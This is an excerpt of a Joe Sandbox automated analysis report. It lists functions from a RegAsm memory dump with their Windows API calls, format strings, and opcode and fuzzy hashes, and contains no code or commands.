                      • Opcode ID: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                      • Instruction ID: 029e45c8424a23c50dbc4d8c1dfe1f9d14d00e2cf8bd1bf10ef2c4f99c7741b7
                      • Opcode Fuzzy Hash: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                      • Instruction Fuzzy Hash: 52F024B30083146FF7205B509C85EAF769CEB86369F25482FF05592092C7398C448669
                      Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                        • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                        • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                      • SetBkMode.GDI32(?,00000001), ref: 004143A2
                      • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                      • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                      • GetStockObject.GDI32(00000000), ref: 004143C6
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                      • String ID:
                      • API String ID: 764393265-0
                      • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                      • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                      • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                      • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                      Function 0040A751 Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON
                      Download Yara Rule
                      APIs
                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A76D
                      • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 0040A77D
                      • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 0040A78C
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Time$System$File$LocalSpecific
                      • String ID:
                      • API String ID: 979780441-0
                      • Opcode ID: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                      • Instruction ID: f583aad53f3de4022dcae7e9f33737e8013f67213d7447df07319dea818b2b95
                      • Opcode Fuzzy Hash: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                      • Instruction Fuzzy Hash: 48F08272900219AFEB019BB1DC49FBBB3FCBB0570AF04443AE112E1090D774D0058B65
                      Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                      Download Yara Rule
                      APIs
                      • memcpy.MSVCRT ref: 004134E0
                      • memcpy.MSVCRT ref: 004134F2
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                      • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$DialogHandleModuleParam
                      • String ID:
                      • API String ID: 1386444988-0
                      • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                      • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                      • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                      • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                      Function 0040F75C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 0040F79E
                      • wcschr.MSVCRT ref: 0040F7AC
                        • Part of subcall function 0040AA8C: wcslen.MSVCRT ref: 0040AAA8
                        • Part of subcall function 0040AA8C: memcpy.MSVCRT ref: 0040AACB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcschr$memcpywcslen
                      • String ID: "
                      • API String ID: 1983396471-123907689
                      • Opcode ID: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                      • Instruction ID: b5ec2b97dc3a1d34b4ae52474db4a85f3d32b900c8044ec90cdce640e07fed14
                      • Opcode Fuzzy Hash: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                      • Instruction Fuzzy Hash: 7C315532904204ABDF24EFA6C8419EEB7B4EF44324F20457BEC10B75D1DB789A46CE99
                      Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintfmemcpy
                      • String ID: %2.2X
                      • API String ID: 2789212964-323797159
                      • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                      • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                      • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                      • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                      Function 0040F9B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintf
                      • String ID: %%-%d.%ds
                      • API String ID: 3988819677-2008345750
                      • Opcode ID: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                      • Instruction ID: 7541af853baca77dfc804340e5f0ab0fe899c5989b891af63cf45e557cb41de3
                      • Opcode Fuzzy Hash: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                      • Instruction Fuzzy Hash: B801DE71200204BFD720EE59CC82D5AB7E8FB48308B00443AF846A7692D636E854CB65
                      Function 0040E758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040E770
                      • SendMessageW.USER32(F^@,0000105F,00000000,?), ref: 0040E79F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSendmemset
                      • String ID: F^@
                      • API String ID: 568519121-3652327722
                      • Opcode ID: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                      • Instruction ID: 5049a961280a3e8282645b70ff0f7bf8ff78c54eb6baa8beabb6daf17925e322
                      • Opcode Fuzzy Hash: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                      • Instruction Fuzzy Hash: A701A239900204ABEB209F5ACC81EABB7F8FF44B45F008429E854A7291D3349855CF79
                      Function 004018DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PlacementWindowmemset
                      • String ID: WinPos
                      • API String ID: 4036792311-2823255486
                      • Opcode ID: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                      • Instruction ID: 942d740d8c3c01bede0812328a3a4706cce13fdf2e849e9dfea5930b7654417c
                      • Opcode Fuzzy Hash: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                      • Instruction Fuzzy Hash: D4F096B0600204EFEB04DF55D899F6A33E8EF04701F1440B9F909DB1D1E7B89A04C729
                      Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@DeleteObject
                      • String ID: r!A
                      • API String ID: 1103273653-628097481
                      • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                      • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                      • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                      • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                      Function 0042B9BD Relevance: 5.2, APIs: 4, Instructions: 181COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID:
                      • API String ID: 438689982-0
                      • Opcode ID: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                      • Instruction ID: 797e1fd24865db6de4a95defd5ca955254a0dec7c2ff798398e4890fb9874305
                      • Opcode Fuzzy Hash: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                      • Instruction Fuzzy Hash: 1B51A2B5A00219EBDF14DF55D882BAEBBB5FF04340F54806AE904AA245E7389E50DBD8
                      Function 0040E820 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$memset
                      • String ID:
                      • API String ID: 1860491036-0
                      • Opcode ID: 132c9519558d853c1af1b7fa7761ae76911dbcbc7ff65e94ed4645376a2186b4
                      • Instruction ID: 7dda0de82ffecb18951b1be6aadeef514c87807746e1e94fbb8d74dd8fa57bec
                      • Opcode Fuzzy Hash: 132c9519558d853c1af1b7fa7761ae76911dbcbc7ff65e94ed4645376a2186b4
                      • Instruction Fuzzy Hash: 4F21F3B1A003008FDB219F2B9445912FBE8FF90310B2AC8AF9158CB2B2D7B8C454CF15
                      Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@
                      • String ID:
                      • API String ID: 1033339047-0
                      • Opcode ID: 6589a97820dd4164dbe9b7b561e5d9da651562f836a554c3bd3b183484c6dcee
                      • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                      • Opcode Fuzzy Hash: 6589a97820dd4164dbe9b7b561e5d9da651562f836a554c3bd3b183484c6dcee
                      • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49